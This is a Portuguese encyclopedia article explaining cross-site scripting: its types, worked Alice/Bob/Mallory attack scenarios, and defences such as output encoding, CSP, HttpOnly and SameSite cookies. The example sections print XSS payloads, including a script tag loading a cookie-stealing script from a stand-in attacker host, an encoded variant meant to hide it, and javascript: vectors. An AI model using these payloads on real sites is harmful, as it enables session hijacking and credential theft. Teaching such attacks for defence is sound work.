Cross-site scripting - Cross-site scripting

"XSS" redireciona aqui. Para outros usos, consulte XSS (desambiguação) .

Parte de uma série sobre
Segurança da informação
Information Security Incidents by Category, Fiscal Year 2014.svg
Categorias de segurança relacionadas
Ameaças
Defesas

Cross-site scripting ( XSS ) é um tipo de vulnerabilidade de segurança que pode ser encontrada em alguns aplicativos da web . Os ataques XSS permitem que os invasores injetem scripts do lado do cliente em páginas da web visualizadas por outros usuários. Uma vulnerabilidade de script entre sites pode ser usada por invasores para contornar os controles de acesso , como a política de mesma origem . Cross-site scripting realizado em sites foi responsável por cerca de 84% de todas as vulnerabilidades de segurança documentadas pela Symantec até 2007. Os efeitos XSS variam de pequenos incômodos a riscos de segurança significativos, dependendo da sensibilidade dos dados manipulados pelo site vulnerável e a natureza de qualquer mitigação de segurança implementada pela rede do proprietário do site .

Fundo

A segurança na web depende de uma variedade de mecanismos, incluindo um conceito subjacente de confiança conhecido como política de mesma origem. Essencialmente, isso afirma que se o conteúdo de um site (como https://mybank.example1.com ) tiver permissão para acessar recursos (como cookies, etc.) em um navegador da web , então o conteúdo de qualquer URL com o mesmo (1) Esquema de URI, (2) nome de host e (3) número de porta compartilharão essas permissões. O conteúdo de URLs em que qualquer um desses três atributos seja diferente deverá receber permissões separadamente.

Os ataques de script entre sites usam vulnerabilidades conhecidas em aplicativos baseados na web, seus servidores ou os sistemas de plug-in dos quais eles dependem. Explorando um deles, os invasores inserem conteúdo malicioso no conteúdo que está sendo entregue pelo site comprometido. Quando o conteúdo combinado resultante chega ao navegador da Web do lado do cliente, tudo foi entregue a partir de uma fonte confiável e, portanto, opera sob as permissões concedidas a esse sistema. Ao encontrar maneiras de injetar scripts mal-intencionados em páginas da web, um invasor pode obter privilégios de acesso elevados ao conteúdo confidencial da página, aos cookies de sessão e a uma variedade de outras informações mantidas pelo navegador em nome do usuário. Ataques de script entre sites são um caso de injeção de código .

Os engenheiros de segurança da Microsoft introduziram o termo "cross-site scripting" em janeiro de 2000. A expressão "cross-site scripting" referia-se originalmente ao ato de carregar o aplicativo da Web de terceiros atacado de um site de ataque não relacionado, de uma maneira que executa um fragmento de JavaScript preparado pelo invasor no contexto de segurança do domínio de destino (aproveitando uma vulnerabilidade XSS refletida ou não persistente ). A definição se expandiu gradualmente para abranger outros modos de injeção de código, incluindo vetores persistentes e não JavaScript (incluindo ActiveX , Java , VBScript , Flash ou mesmo scripts HTML ), causando alguma confusão para os novatos no campo da segurança da informação .

Vulnerabilidades de XSS foram relatadas e exploradas desde a década de 1990. Os sites de destaque afetados no passado incluem os sites de redes sociais Twitter , Facebook , MySpace , YouTube e Orkut . Desde então, as falhas de script entre sites ultrapassaram os estouros de buffer e se tornaram a vulnerabilidade de segurança mais comum relatada publicamente, com alguns pesquisadores em 2007 estimando que até 68% dos sites provavelmente estão abertos a ataques XSS.

Tipos

Não há uma classificação única e padronizada de falhas de script entre sites, mas a maioria dos especialistas distingue entre pelo menos dois tipos principais de falhas de XSS: não persistente e persistente . Algumas fontes dividem ainda mais esses dois grupos em tradicionais (causados ​​por falhas de código do lado do servidor) e baseados em DOM (no código do lado do cliente).

Não persistente (refletido)

Exemplo de uma falha XSS não persistente

Vulnerabilidades XSS não persistentes no Google podem permitir que sites maliciosos ataquem usuários do Google que os visitam enquanto estão conectados.

A vulnerabilidade de cross-site scripting não persistente (ou refletida ) é de longe o tipo mais básico de vulnerabilidade da web. Essas falhas aparecem quando os dados fornecidos por um cliente da web, mais comumente em parâmetros de consulta HTTP (por exemplo, envio de formulário HTML), são usados ​​imediatamente por scripts do lado do servidor para analisar e exibir uma página de resultados para e para esse usuário, sem a devida higienizar o conteúdo.

Como os documentos HTML têm uma estrutura plana e serial que mistura instruções de controle, formatação e o conteúdo real, quaisquer dados não validados fornecidos pelo usuário incluídos na página resultante sem a codificação HTML adequada podem levar à injeção de marcação. Um exemplo clássico de um vetor potencial é um mecanismo de pesquisa de site: se alguém pesquisar uma string, a string de pesquisa será normalmente exibida na íntegra na página de resultados para indicar o que foi pesquisado. Se essa resposta não escapar ou rejeitar corretamente os caracteres de controle HTML, ocorrerá uma falha de script entre sites.

Um ataque refletido é normalmente entregue por e-mail ou um site neutro. A isca é um URL de aparência inocente, apontando para um site confiável, mas contendo o vetor XSS. Se o site confiável for vulnerável ao vetor, clicar no link pode fazer com que o navegador da vítima execute o script injetado.

Persistente (ou armazenado)

Exemplo de falha persistente de XSS

Uma vulnerabilidade de script de zona cruzada persistente, juntamente com um worm de computador, permitia a execução de código arbitrário e a listagem do conteúdo do sistema de arquivos por meio de um filme QuickTime no MySpace .

A vulnerabilidade XSS persistente (ou armazenada ) é uma variante mais devastadora de uma falha de script entre sites: ela ocorre quando os dados fornecidos pelo invasor são salvos pelo servidor e, em seguida, exibidos permanentemente em páginas "normais" retornadas a outros usuários em o curso de navegação regular, sem escape de HTML adequado. Um exemplo clássico disso são os fóruns on-line em que os usuários têm permissão para postar mensagens formatadas em HTML para que outros usuários as leiam.

Por exemplo, suponha que haja um site de namoro onde os membros examinam os perfis de outros membros para ver se eles parecem interessantes. Por motivos de privacidade, este site oculta o nome real e o e-mail de todos. Eles são mantidos em segredo no servidor. O único momento em que o nome real e o e- mail de um membro estão no navegador é quando o membro está conectado e não pode ver os de mais ninguém.

Suponha que Mallory, um invasor, entre no site e queira descobrir os nomes reais das pessoas que vê no site. Para isso, ela escreve um roteiro concebido para ser executado a partir de navegadores de outros usuários quando eles visitam seu perfil. O script então envia uma mensagem rápida para seu próprio servidor, que coleta essas informações.

Para fazer isso, para a pergunta "Descreva seu primeiro encontro ideal", Mallory dá uma resposta curta (para parecer normal), mas o texto no final de sua resposta é seu script para roubar nomes e e-mails. Se o script estiver dentro de um <script>elemento, ele não será mostrado na tela. Em seguida, suponha que Bob, um membro do site de namoro, chegue ao perfil de Mallory, que tem sua resposta para a pergunta do primeiro encontro. Seu script é executado automaticamente pelo navegador e rouba uma cópia do nome real de Bob e do e-mail diretamente de sua própria máquina.

Vulnerabilidades persistentes de XSS podem ser mais significativas do que outros tipos porque o script malicioso de um invasor é processado automaticamente, sem a necessidade de direcionar as vítimas individualmente ou atraí-las para um site de terceiros. Particularmente no caso de sites de redes sociais, o código seria projetado para se autopropagar entre as contas, criando um tipo de worm do lado do cliente .

Os métodos de injeção podem variar muito; em alguns casos, o invasor pode nem mesmo precisar interagir diretamente com a própria funcionalidade da web para explorar tal falha. Quaisquer dados recebidos pelo aplicativo da web (via e-mail, logs do sistema, mensagens instantâneas, etc.) que podem ser controlados por um invasor podem se tornar um vetor de injeção.

Vulnerabilidades do lado do servidor versus vulnerabilidades baseadas em DOM

Exemplo de uma falha XSS baseada em DOM

Antes do bug ser resolvido, as páginas de erro do Bugzilla eram abertas a ataques XSS baseados em DOM , nos quais HTML e scripts arbitrários podiam ser injetados usando mensagens de erro forçadas.

Vulnerabilidades de XSS foram originalmente encontradas em aplicativos que executavam todo o processamento de dados no lado do servidor. A entrada do usuário (incluindo um vetor XSS) seria enviada ao servidor e, em seguida, enviada de volta ao usuário como uma página da web. A necessidade de uma experiência de usuário aprimorada resultou na popularidade de aplicativos que tinham a maior parte da lógica de apresentação (talvez escrita em JavaScript ) trabalhando no lado do cliente que extraía dados, sob demanda, do servidor usando AJAX .

Como o código JavaScript também processava a entrada do usuário e a renderizava no conteúdo da página da web, uma nova subclasse de ataques XSS refletidos começou a aparecer, chamada de script cross-site baseado em DOM . Em um ataque XSS baseado em DOM, os dados maliciosos não tocam o servidor da web. Em vez disso, está sendo refletido pelo código JavaScript, totalmente no lado do cliente.

Um exemplo de vulnerabilidade XSS baseada em DOM é o bug encontrado em 2011 em vários plug-ins jQuery . As estratégias de prevenção para ataques XSS baseados em DOM incluem medidas muito semelhantes às estratégias tradicionais de prevenção XSS, mas implementadas em código JavaScript e contidas em páginas da web (ou seja, validação de entrada e escape). Alguns frameworks JavaScript têm contramedidas integradas contra este e outros tipos de ataque - por exemplo, AngularJS .

Auto-XSS

O Self-XSS é uma forma de vulnerabilidade XSS que depende de engenharia social para enganar a vítima e fazê-la executar código JavaScript malicioso em seu navegador. Embora não seja tecnicamente uma vulnerabilidade XSS verdadeira devido ao fato de que depende da engenharia social de um usuário para executar o código, em vez de uma falha no site afetado permitindo que um invasor faça isso, ainda apresenta os mesmos riscos que uma vulnerabilidade XSS normal se executado corretamente.

XSS mutado (mXSS)

O XSS mutado acontece quando o invasor injeta algo que é aparentemente seguro, mas é reescrito e modificado pelo navegador enquanto analisa a marcação. Isso torna extremamente difícil detectar ou higienizar dentro da lógica de aplicativo do site. Um exemplo é o reequilíbrio entre aspas não fechadas ou até mesmo a adição de aspas a parâmetros não citados em parâmetros para a família de fontes CSS.

Exemplos de exploração

Os invasores que pretendem explorar vulnerabilidades de script entre sites devem abordar cada classe de vulnerabilidade de maneira diferente. Para cada classe, um vetor de ataque específico é descrito aqui. Os nomes abaixo são termos técnicos, retirados do elenco de personagens de Alice e Bob comumente usados ​​em segurança de computador.

O Browser Exploitation Framework pode ser usado para atacar o site e o ambiente local do usuário.

Não persistente

  1. Alice costuma visitar um determinado site, que é hospedado por Bob. O site de Bob permite que Alice faça login com um par de nome de usuário / senha e armazena dados confidenciais, como informações de faturamento. Quando um usuário efetua login, o navegador mantém um Cookie de Autorização, que se parece com alguns caracteres aleatórios, para que ambos os computadores (cliente e servidor) tenham um registro de que ele está conectado.
  2. Mallory observa que o site de Bob contém uma vulnerabilidade XSS refletida:
    1. Quando ela visita a página de pesquisa, ela insere um termo de pesquisa na caixa de pesquisa e clica no botão enviar. Se nenhum resultado for encontrado, a página exibirá o termo que ela pesquisou seguido pelas palavras "não encontrado" e o url será http://bobssite.org/search?q=her%20search%20term.
    2. Com uma consulta de pesquisa normal, como a palavra " cachorros ", a página simplesmente exibe " cachorros não encontrados" e o url é "http://bobssite.org/search ? Q = cachorros " - o que é um comportamento perfeitamente normal.
    3. No entanto, quando ela envia uma consulta de pesquisa anormal, como " ", <script>alert('xss');</script>
      1. Uma caixa de alerta aparece (que diz "xss").
      2. A página exibe "não encontrado" junto com uma mensagem de erro com o texto 'xss'.
      3. O url é " - que é um comportamento explorável.http://bobssite.org/search?q=<script>alert('xss');</script>
  3. Mallory cria um URL para explorar a vulnerabilidade:
    1. Ela faz o URL . Ela poderia optar por codificar os caracteres ASCII com codificação de porcentagem , como , de modo que os leitores humanos não possam decifrar imediatamente o URL malicioso.http://bobssite.org/search?q=puppies<script%20src="http://mallorysevilsite.com/authstealer.js"></script>http://bobssite.org/search?q=puppies%3Cscript%20src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E%3C%2Fscript%3E
    2. Ela envia um e-mail para alguns membros desavisados ​​do site de Bob, dizendo "Dê uma olhada em alguns cachorrinhos fofos!"
  4. Alice recebe o e-mail. Ela adora cachorros e clica no link. Ele vai ao site de Bob para pesquisar, não encontra nada e exibe "cachorros não encontrados", mas bem no meio, a tag de script é executada (é invisível na tela) e carrega e executa o programa authstealer.js de Mallory (acionando o ataque XSS). Alice se esquece disso.
  5. O programa authstealer.js é executado no navegador de Alice como se fosse originado do site de Bob. Ele pega uma cópia do Cookie de Autorização de Alice e a envia para o servidor de Mallory, onde Mallory a recupera.
  6. Mallory agora coloca o Cookie de Autorização de Alice em seu navegador como se fosse seu. Ela então vai para o site de Bob e agora está conectada como Alice.
  7. Agora que ela está dentro, Mallory vai para a seção de Faturamento do site e procura o número do cartão de crédito de Alice e pega uma cópia. Então ela muda sua senha para que Alice não possa mais fazer o login.
  8. Ela decide dar um passo adiante e envia um link elaborado de forma semelhante para o próprio Bob, obtendo assim privilégios de administrador para o site de Bob.

Várias coisas poderiam ter sido feitas para mitigar esse ataque:

  1. A entrada da pesquisa pode ter sido limpa , o que inclui a verificação de codificação adequada.
  2. O servidor da web pode ser configurado para redirecionar solicitações inválidas.
  3. O servidor da web pode detectar um login simultâneo e invalidar as sessões.
  4. O servidor da web pode detectar um login simultâneo de dois endereços IP diferentes e invalidar as sessões.
  5. O site pode exibir apenas os últimos dígitos de um cartão de crédito usado anteriormente.
  6. O site pode exigir que os usuários insiram suas senhas novamente antes de alterar suas informações de registro.
  7. O site pode aprovar vários aspectos da Política de Segurança de Conteúdo .
  8. Defina o cookie com HttpOnlysinalizador para impedir o acesso do JavaScript.

Ataque persistente

  1. Mallory obtém uma conta no site de Bob.
  2. Mallory observa que o site de Bob contém uma vulnerabilidade XSS armazenada: se alguém for à seção Notícias e postar um comentário, o site exibirá tudo o que for inserido. Se o texto do comentário contiver tags HTML, elas serão adicionadas ao código-fonte da página da web; em particular, quaisquer tags de script serão executadas quando a página for carregada.
  3. Mallory lê um artigo na seção Notícias e insere um comentário:
    I love the puppies in this story! They're so cute!<script src="http://mallorysevilsite.com/authstealer.js">
  4. Quando Alice (ou qualquer outra pessoa) carrega a página com o comentário, a tag de script de Mallory é executada e rouba o cookie de autorização de Alice, enviando-o ao servidor secreto de Mallory para coleta.
  5. Mallory agora pode sequestrar a sessão de Alice e se passar por Alice.

O software do site de Bob deveria ter retirado a tag do script ou feito algo para garantir que não funcionasse; o bug de segurança consiste no fato de que ele não o fez.

Medidas preventivas

Codificação de saída contextual / escape de entrada de string

A codificação / escape de saída contextual pode ser usada como o mecanismo de defesa principal para interromper os ataques XSS. Existem vários esquemas de escape que podem ser usados ​​dependendo de onde a string não confiável precisa ser colocada em um documento HTML, incluindo codificação de entidade HTML, escape de JavaScript, escape de CSS e codificação de URL (ou porcentagem) . A maioria dos aplicativos da web que não precisam aceitar dados ricos pode usar escape para eliminar amplamente o risco de ataques XSS de uma maneira bastante direta.

Embora amplamente recomendado, executar a codificação de entidade HTML apenas nos cinco caracteres XML significativos nem sempre é suficiente para evitar muitas formas de ataques XSS. Como a codificação costuma ser difícil, as bibliotecas de codificação de segurança geralmente são mais fáceis de usar.

Alguns sistemas de template da web entendem a estrutura do HTML que produzem e escolhem automaticamente um codificador apropriado. No entanto, mesmo com um sistema de modelo, é essencial não colocar dados não confiáveis ​​em atributos não citados, atributos HREF do hiperlink, manipuladores de eventos DOM embutidos ou outros contextos semelhantes onde a execução do script é diretamente possível.

Validando com segurança a entrada de HTML não confiável

Muitos operadores de aplicativos da web específicos (por exemplo, fóruns e webmail) permitem que os usuários utilizem um subconjunto limitado de marcação HTML. Ao aceitar a entrada HTML de usuários (digamos, <b>very</b> large), a codificação de saída (como &lt;b&gt;very&lt;/b&gt; large) não será suficiente, uma vez que a entrada do usuário precisa ser processada como HTML pelo navegador (por isso é exibida como " muito grande", em vez de "<b> muito </b> grande "). Parar um ataque XSS ao aceitar a entrada de HTML de usuários é muito mais complexo nessa situação. A entrada de HTML não confiável deve ser executada por meio de um mecanismo de sanitização de HTML para garantir que não contenha código XSS.

Muitas validações dependem da análise (lista negra) de tags HTML específicas "em risco", como as seguintes

<script> <link> <iframe>

Existem vários problemas com esta abordagem, por exemplo, às vezes, tags aparentemente inofensivas podem ser deixadas de fora que, quando utilizadas corretamente, ainda podem resultar em um XSS

(veja o exemplo abaixo) 

<img src="javascript:alert(1)">

Outro método popular é retirar a entrada do usuário "e 'no entanto, isso também pode ser ignorado, pois a carga útil pode ser ocultada com ofuscação (consulte este [1] link para um exemplo extremo disso)

Segurança de cookies

Além da filtragem de conteúdo, outros métodos imperfeitos para mitigação de script entre sites também são comumente usados. Um exemplo é o uso de controles de segurança adicionais ao lidar com a autenticação do usuário baseada em cookies . Muitos aplicativos da web dependem de cookies de sessão para autenticação entre solicitações HTTP individuais e, como os scripts do lado do cliente geralmente têm acesso a esses cookies, explorações XSS simples podem roubar esses cookies. Para atenuar essa ameaça específica (embora não o problema XSS em geral), muitos aplicativos da web vinculam os cookies de sessão ao endereço IP do usuário que se conectou originalmente e só permitem que esse IP use esse cookie. Isso é eficaz na maioria das situações (se um invasor está apenas após o cookie), mas obviamente falha em situações em que um invasor está atrás do mesmo endereço IP ou proxy da Web com NAT da vítima ou a vítima está alterando seu IP móvel .

Outra atenuação presente no Internet Explorer (desde a versão 6), Firefox (desde a versão 2.0.0.5), Safari (desde a versão 4), Opera (desde a versão 9.5) e Google Chrome , é um sinalizador HttpOnly que permite a um servidor web definir um cookie que não está disponível para scripts do lado do cliente. Embora benéfico, o recurso não pode impedir totalmente o roubo de cookies nem impedir ataques dentro do navegador.

Desabilitando scripts

Embora os desenvolvedores Web 2.0 e Ajax exijam o uso de JavaScript, alguns aplicativos da web são escritos para permitir a operação sem a necessidade de scripts do lado do cliente. Isso permite que os usuários, se desejarem, desabilitem o script em seus navegadores antes de usar o aplicativo. Dessa forma, até mesmo scripts do lado do cliente potencialmente mal-intencionados podem ser inseridos sem escape em uma página, e os usuários não ficam suscetíveis a ataques XSS.

Alguns navegadores ou plug-ins de navegador podem ser configurados para desabilitar scripts do lado do cliente por domínio. Essa abordagem tem valor limitado se o script for permitido por padrão, uma vez que bloqueia sites inválidos somente depois que o usuário sabe que eles são ruins, o que é tarde demais. A funcionalidade que bloqueia todos os scripts e inclusões externas por padrão e, em seguida, permite que o usuário habilite por domínio é mais eficaz. Isso é possível há muito tempo no Internet Explorer (desde a versão 4), configurando suas chamadas "Zonas de Segurança", e no Opera (desde a versão 9), usando suas "Preferências específicas do site". Uma solução para o Firefox e outros navegadores baseados no Gecko é o complemento NoScript de código aberto que, além da capacidade de habilitar scripts por domínio, fornece alguma proteção XSS mesmo quando os scripts estão habilitados.

O problema mais significativo com o bloqueio de todos os scripts em todos os sites por padrão é a redução substancial na funcionalidade e capacidade de resposta (o script do lado do cliente pode ser muito mais rápido do que o do lado do servidor porque não precisa se conectar a um servidor remoto e à página ou quadro não precisa ser recarregado). Outro problema com o bloqueio de script é que muitos usuários não o entendem e não sabem como proteger adequadamente seus navegadores. Outra desvantagem é que muitos sites não funcionam sem scripts do lado do cliente, forçando os usuários a desabilitar a proteção para esse site e abrir seus sistemas a vulnerabilidades. A extensão NoScript do Firefox permite aos usuários permitir scripts seletivamente de uma determinada página, enquanto desabilita outros na mesma página. Por exemplo, scripts de example.com podem ser permitidos, enquanto scripts de advertisingagency.com que estão tentando ser executados na mesma página podem ser proibidos.

Desativando scripts seletivamente

A política de segurança de conteúdo (CSP) permite que documentos HTML optem por desativar alguns scripts, deixando outros ativados. O navegador verifica cada script em relação a uma política antes de decidir se deseja executá-lo. Contanto que a política permita apenas scripts confiáveis ​​e não permita o carregamento dinâmico de código , o navegador não executará programas de autores não confiáveis, independentemente da estrutura do documento HTML.

Isso transfere a carga de segurança para os autores das políticas. Estudos lançaram dúvidas sobre a eficácia das políticas baseadas em listas de permissões de hosts.

No total, descobrimos que 94,68% das políticas que tentam limitar a execução do script são ineficazes e que 99,34% dos hosts com CSP usam políticas que não oferecem nenhum benefício contra o XSS.

As políticas CSP modernas permitem o uso de nonces para marcar scripts no documento HTML como seguros para execução, em vez de manter a política inteiramente separada do conteúdo da página. Contanto que nonces confiáveis ​​apareçam apenas em scripts confiáveis, o navegador não executará programas de autores não confiáveis. Alguns grandes provedores de aplicativos relatam ter implantado com êxito políticas baseadas em nonce.

Tecnologias defensivas emergentes

A popularidade das estruturas do lado do cliente mudou a forma como os invasores criam XSS.

Os gadgets de script são fragmentos legítimos de JavaScript dentro da base de código legítima de um aplicativo ... Demonstramos que esses gadgets são onipresentes em quase todas as estruturas JavaScript modernas e apresentamos um estudo empírico que mostra a prevalência de gadgets de script em código produtivo. Como resultado, assumimos que a maioria das técnicas de mitigação em aplicativos da web escritos hoje pode ser contornada.

Os tipos confiáveis ​​mudam as APIs da Web para verificar se os valores foram registrados como confiáveis. Enquanto os programas registram apenas valores confiáveis, um invasor que controla um valor de string JavaScript não pode causar XSS. Os tipos confiáveis ​​são projetados para serem auditáveis por equipes azuis .

Outra abordagem de defesa é usar ferramentas automatizadas que irão remover o código malicioso XSS em páginas da web, essas ferramentas usam análise estática e / ou métodos de correspondência de padrões para identificar códigos maliciosos potencialmente e protegê-los usando métodos como escape.

Parâmetro de cookie SameSite

Quando um cookie é definido com o parâmetro SameSite = Strict, ele é removido de todas as solicitações de origem cruzada. Quando definido com SameSite = Lax, ele é removido de todas as solicitações de origem cruzada não "seguras" (ou seja, solicitações diferentes de GET, OPTIONS e TRACE que têm semântica somente leitura). O recurso é implementado no Google Chrome desde a versão 63 e no Firefox desde a versão 60.

Vulnerabilidades relacionadas

Em um ataque Universal Cross-Site Scripting ( UXSS ou Universal XSS ), as vulnerabilidades no próprio navegador ou nos plug-ins do navegador são exploradas (em vez de vulnerabilidades em outros sites, como é o caso dos ataques XSS).

Várias classes de vulnerabilidades ou técnicas de ataque estão relacionadas ao XSS: o script de zona cruzada explora conceitos de "zona" em certos navegadores e geralmente executa código com um privilégio maior. A injeção de cabeçalho HTTP pode ser usada para criar condições de script entre sites devido a problemas de escape no nível do protocolo HTTP (além de permitir ataques como divisão de resposta HTTP ).

A falsificação de solicitação entre sites (CSRF / XSRF) é quase o oposto de XSS, pois em vez de explorar a confiança do usuário em um site, o invasor (e sua página maliciosa) explora a confiança do site no software cliente, enviando solicitações para que o site acredita que representam ações conscientes e intencionais de usuários autenticados. As vulnerabilidades de XSS (mesmo em outros aplicativos em execução no mesmo domínio) permitem que os invasores contornem os esforços de prevenção de CSRF.

O Covert Redirection tira proveito de clientes de terceiros suscetíveis a ataques XSS ou Open Redirect. As tentativas normais de phishing podem ser fáceis de detectar, porque a URL da página maliciosa geralmente estará errada por algumas letras da URL do site real. A diferença com o Covert Redirection é que um invasor pode usar o site real corrompendo o site com uma caixa de diálogo pop-up de login malicioso.

Por último, a injeção de SQL explora uma vulnerabilidade na camada de banco de dados de um aplicativo. Quando a entrada do usuário é filtrada incorretamente, qualquer instrução SQL pode ser executada pelo aplicativo.

Os XSSs específicos que afetam uma determinada versão de um navegador da web tendem a ser exclusivos. Conseqüentemente, é possível usar o XSS para imprimir as impressões digitais do fornecedor do navegador e da versão de um usuário.

Veja também

Referências

Leitura adicional

links externos